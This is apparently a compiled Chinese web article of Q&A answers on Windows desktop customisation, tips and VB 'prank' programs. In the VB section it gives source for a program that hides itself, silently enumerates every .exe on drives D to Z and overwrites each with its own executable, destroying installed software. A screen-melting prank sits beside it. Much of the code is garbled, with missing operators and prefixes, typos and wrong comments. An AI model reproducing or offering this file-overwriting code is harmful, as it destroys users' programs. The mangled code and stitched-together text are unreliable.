各种桌面特效代码（电脑桌面出现特效的代码）

今天给各位分享各种桌面特效代码的知识，其中也会对电脑桌面出现特效的代码进行解释，如果能碰巧解决你现在面临的问题，别忘了关注本站，现在开始吧！

本文目录一览：

• 1、如何用代码写出好看的win10主题桌面
• 2、电脑桌面特效图标怎么玩
• 3、显示桌面的代码是什么？
• 4、记事本怎么写出桌面小风扇代码
• 5、求一些VB恶搞代码。效果越厉害越好，例如：蓝屏.等等
• 6、在桌面上显示很多玫瑰花的一个vb小程序代码?

如何用代码写出好看的win10主题桌面

【点击“个性化”】

先用鼠标在桌面上点击右键，然后在跳出的小框选择最后一个“个性化”用左键点击进入设置界面。

【点击“背景”】

在设置界面的左上角用左键点击“背景”，然后在中间显示的几张小图中选择其中一张喜欢的做桌面背景。如果这几张你不喜欢的话，可以点击小图下的“浏览”，到电脑里选择其它保存的图片。

【点击“纯色”】

如果你是一个喜欢简单的人，也可以选择单一颜色的背景。先左键点击“图片”右边的下拉按钮，再在显示的下拉三项中点击“纯色”，然后在出现的多种“背景色”中选择一种自己最喜欢的即可。

【选择“幻灯片放映”】

如果你想让自己的桌面时刻充满新鲜和惊喜，也可以选择“背景”下拉框中的“幻灯片放映”，再点击下边的“浏览”，然后在跳出的窗口中先点图片存放的磁盘位置，再点具体的文件夹，最后点“选择此文件夹”即可。

【更改图片的频率】

选好幻灯片放映的文件夹后，我们还要设置它更换每张图的时间。我们首先点击“更改图片的频率”下的那个时间旁边的下拉按钮，然后在跳出的各种时间中选择一种。

【选择契合度】

因为电脑中保存的图片并不全是按电脑显示屏大小定制的，其中有大也有小，放到桌面上做背景有时难免不大好看，这时，我们就要对图片的契合度进行选择了。首先点击契合度按钮，然后选择其中一种最适合的展示图片的模式就可以了。

7

【其它个性化设置】

当然，以上只是对电脑桌面背景方面的一些个性化设置，其实，我们还可以对电脑的其它方面进行个性化设置（比如颜色、锁屏界面、主题和开始菜单）。在此，我也不一一去讲了，大家可以自己去试试。

电脑桌面特效图标怎么玩

我们都习惯在桌面上放不少快捷方式，这里面很多都是我们非常熟悉的。快捷方式下面的文字看起来很碍眼，能不能改成空白的？系统能让空白的文件名存在吗?

WindowsXP桌面图标下总是有一些文字，绝大多数程序图标我们都相当清楚，如果能让它消失，就可以使桌面更加清爽。我找到了一个简单的方法来消除它，那就是把图标重命名为空格。当然系统是绝不会允许使用空格命名的，所以还需要有点小技巧。

第一步:确定桌面上图标下的文字背景为透明。按Win+Break键打开“系统属性”，接着在“高级”选项卡中单击性能的“设置”按钮，从视觉效果标签下选中“调整为最佳外观”或选中“自定义”，再从下面列表中选中“在桌面上为图标标签使用阴影”确定进行设置。 第二步:右击桌面图标选择重命名，选择“中文-内码”输入法输入aad3，输入一个空格，回车确定，再选中其他图标，马上可以看到图标下的文字已完全消失了。按此方法可以逐一把各图标下的文字消去。当然你不熟悉的图标就不要消除文字了。

小提示

★其实还可以按住Alt键，然后在小键盘输入“0160”，这样也可以达到同样效果。

★若找不到内码输入法，可右击输入法切换图标选择“设置”，再单击“添加”按钮从“键盘布局/输入法”下拉列表中选择安装。键入编码应在aaa1- affe之间，如:abc1、abc2、abd1、abd2……，字库中在这些编码没有字符，所以虽是不同的字但都同样显示为空格，你只要不重复用同一编码命名，系统是不会抗议的。此外还要选择后面一点的编码以免调用到造字程序做的字。

回收站改名方法：

　1、按开始键 - 按运行 - 输入 regedit

2、按 -HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID 按 - {645FF040-5081-101B-9F08-00AA002F954E} - shellFolder主键。

3、左键双击右侧窗口的"Attributes"，在弹出的对话框中将键值"40 01 00 20"修改为"50 01 00 20"。

4、如果右侧窗口有“CallForAttributes” 则删除。

5、关闭"注册表修改器"，这时你的"回收站"的名字就可想怎么改就怎么改了。呵呵~ ~！（不用重启就可以看到效果偶^_^）

创建一个无名文件夹

打开命令行提示符，进入要创建文件夹的目录，比如:C:，输入“md”后，按住Alt键，再输入“255”，回车后再到C盘看看，是不是多了一个无名文件夹呢?

不过,如果你选择了一副漂亮的图片放在桌面上,却仍然被一些图标所阻挡着,是否会有不爽的感觉呢?

看我的桌面:

右击桌面--排列图标--取消"显示桌面图标",

右击任务栏--工具栏--勾选"桌面",桌面上程序名称全部控制在四个汉字以内,英文名能简写的简写,不能简写的后面的单词用~省略,只要自己知道就行~O~

在任务栏的快速启动栏放置网络连接和IE两个常用的图标,其他一概不要.

另外我的任务栏在屏幕上方,方法:右击任务栏,取消锁定任务栏,再用鼠标拖动任务栏至屏幕上方再锁定即可.

这样在开机后,我的桌面空无一物,任务栏左边只有"开始","网络连接"和"IE",右边只有"桌面",杀毒软件(总是隐藏状态)和时间.

我的开始菜单只有"所有程序","注消"和"关闭计算机"三个按钮,方法如下:

右击任务栏--属性--开始菜单--自定义,

1.在常规选项卡下选择小图标,开始菜单程序数目选择0并清除列表,取消在开始菜单上显示"Internet"和"电子邮件",

2.在高级选项卡下,取消突出显示新安装的程序,在"开始菜单项目"里只勾选"启用拖放",其他的一概不勾选或选择"不显示此项目",取消"列出我最近打开的文档"对勾并清除列表.

提示:打开运行程序的热键--Win+R,

打开搜索程序的热键--Win+F

打开帮助和支持的热键--Win+F1

显示桌面的热键--Win+D

控制面板和其他原来在开始菜单显示的程序因为使用率不高,可从我的电脑进入.

简单明了,清爽之极的我的电脑和开始菜单打造完成.

显示桌面的代码是什么？

一、可是使用快捷键暂时替换对“显示桌面”图标的依赖，快捷键是“windows键+D”。

二、点击“开始→运行”，在弹出的“运行”对话框中输入“REGSVR32 /n /i:u shell32”（不含双引号），然后回车，片刻后会弹出“shell32中的DllInstall成功”对话框，“显示桌面”按钮即可恢复，这也是最简单的办法了。

三、从另一台电脑上复制“显示桌面”快捷方式。首先到另一台电脑上找到这个快捷方式，按住ctrl 把这个图标拖到电脑桌面上，然后把这个“显示桌面”复制到存储盘或者联网传给需要的电脑，传到后再用鼠标拖动到快速启动栏即可。

四、打开记事本，输入以下信息：

[Shell]

Command=2

IconFile=explorer.exe,3

[Taskbar]

Command=ToggleDesktop

然后把这个文件保存为：“Show Desktop.scf”，必须确认文件名和双引号中的一样。然后把保持的Show Desktop.scf文件复制到：“C:\Documents and Settings\用户名\Application Data\ Microsoft\Internet Explorer\Quick Launch”目录下。其中你需要把“用户名”替换成你需要恢复“显示桌面”按钮的用户名，就可以了。

记事本怎么写出桌面小风扇代码

1、首先找到开始菜单，一般找到附件，在里面打开记事本。

2、小风扇编写代码为@echooffcolor02：startecho%random%%random%%random%%rangom%%random%%random%%rangom%%random%%random%%rangom%gotostart。

3、然后在保存时弹出保存界面。

4、点击保存途径桌面，之后在文件名里随便编写一个字然后后缀+.bat。

5、保存后，就在桌面。

求一些VB恶搞代码。效果越厉害越好，例如：蓝屏.等等

电脑桌面融化，这段代码真的很强悍 ！ 居然搞的我看不到屏幕 ， 就像雪糕一样被融化了； Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long

Private Declare Function GetDesktopWindow Lib "user32" () As Long

Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long

Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long

Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long

Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long

Private Const SRCCOPY = HCC0020 ' (DWORD) dest = source

Dim x As Integer, y As Integer

Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long

Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)

Private Sub Form_Load()

Me.Hide

Desktop = GetWindowDC(GetDesktopWindow())

hBitmap = CreateCompatibleDC(Desktop)

hScreen = CreateCompatibleDC(Desktop)

Buffer = CreateCompatibleBitmap(Desktop, 32, 32)

ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15)

SelectObject hBitmap, Buffer

SelectObject hScreen, ScreenBuffer

BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY

For i = 0 To 1E+17

y = (Screen.Height / 15) * Rnd

x = (Screen.Width / 15) * Rnd

BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY

BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY

DoEvents

Next i

End Sub 还有个杀手锏；一段要人命的vb代码

-----------------------------------------------声明---------------------------------------------------------------

’如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()

On Error Resume Next ’容错句

If Dir("c:\123.txt") = "" Then ’如果123.txt不存在则创建 bat遍历exe文件

Open "c:\a.bat" For Output As #1 ’打开bat文件

Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe e:\123.txt" ’写入数据

Close #1 ’关闭文件

Sleep 200 ’延时200秒等待文件生成（主要为了慢机器）

Shell "c:\a.bat", 0 ’隐藏运行之

End If

Sleep 60000 ’延时1分钟等待exe遍历完成

Dim A() As String

Dim C As Long, I As Integer

Open "c:\123.txt" For Input As #1 ’读取txt里面的内容

Do While EOF(1) = False

ReDim Preserve A(C)

Input #1, A(C)

C = C + 1

Loop

Close #1

For I = 0 To C - 1

FileCopy App.Path "\" App.EXEName ".exe", A(I) ’把txt里面的内容替换掉

Next

End Sub

/SPAN

在桌面上显示很多玫瑰花的一个vb小程序代码?

桌面涂鸦VB程序代码

Option Explicit

Public Type POINTAPI

x As Long

y As Long

End Type

Public nXn As Long

Public gfqw As Long

Public Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long

Public sbsb As POINTAPI

Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long

Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lparam As Any) As Long

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)

Public Declare Function MessageBox Lib "user32" Alias "MessageBoxA" (ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long

Public Type MOUSEMSGS

x As Long 'x座标

y As Long 'y座标

a As Long

b As Long

time As Long 'Window运行时间

End Type

Public Const WH_MOUSE_LL = 14

Public Const MB_OK = H0

Public Const MB_ICONASTERISK = H40

Public Type MSLLHOOKSTRUCT

pt As POINTAPI

mouseData As Long

Flags As Long

time As Long

dwExtraInfo As Long

End Type

Public hHook As Long

'-----------------------------------------

'消息

Public Const HC_ACTION = 0

Public Const HC_SYSMODALOFF = 5

Public Const HC_SYSMODALON = 4

'鼠标消息

Public Const WM_MOUSEMOVE = H200

Public Const WM_LBUTTONDOWN = H201

Public Const WM_LBUTTONUP = H202

Public Const WM_LBUTTONDBLCLK = H203

Public Const WM_RBUTTONDOWN = H204

Public Const WM_RBUTTONUP = H205

Public Const WM_RBUTTONDBLCLK = H206

Public Const WM_MBUTTONDOWN = H207

Public Const WM_MBUTTONUP = H208

Public Const WM_MBUTTONDBLCLK = H209

Public Const WM_MOUSEACTIVATE = H21

Public Const WM_MOUSEFIRST = H200

Public Const WM_MOUSELAST = H209

Public Const WM_MOUSEWHEEL = H20A

Public Declare Function GetActiveWindow Lib "user32" () As Long

Public MouseMsg As MOUSEMSGS '鼠标消息结构体

Public lHook As Long '勾子句柄

Public sbss As POINTAPI

'鼠标钩子函数

Public Function HookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lparam As Long) As Long

Dim typMHS As MSLLHOOKSTRUCT, pt As POINTAPI

If wParam = WM_MOUSEMOVE Then

Call CopyMemory(typMHS, ByVal lparam, LenB(typMHS))

pt = typMHS.pt

Debug.Print "mouse Cursor at " + CStr(pt.x) + "," + CStr(pt.y)

GetCursorPos sbsb

End If

If wParam = WM_LBUTTONDOWN Then

Form1.Timer2.Enabled = True

nXn = 2

GetCursorPos sbss

End If

If wParam = WM_RBUTTONDOWN Then

End If

If wParam = WM_LBUTTONUP Then '按下中间记下这个值，然后调用一个过程，我的鼠标没有中键，自己测试一下

Form1.Timer2.Enabled = False

HookProc = CallNextHookEx(hHook, nCode, wParam, lparam)

End If

End Function

'卸载勾子

Public Sub StopHook()

If lHook 0 Then lHook = UnhookWindowsHookEx(lHook)

End Sub

'===================== 模块结束 ========================

Public Sub FreeHook()

If hHook 0 Then

Call UnhookWindowsHookEx(hHook)

hHook = 0

End If

End Sub

Public Sub EnableHook()

If hHook = 0 Then

hHook = SetWindowsHookEx(WH_MOUSE_LL, AddressOf HookProc, App.hInstance, 0)

End If

End Sub

关于各种桌面特效代码和电脑桌面出现特效的代码的介绍到此就结束了，不知道你从中找到你需要的信息了吗 ？如果你还想了解更多这方面的信息，记得收藏关注本站。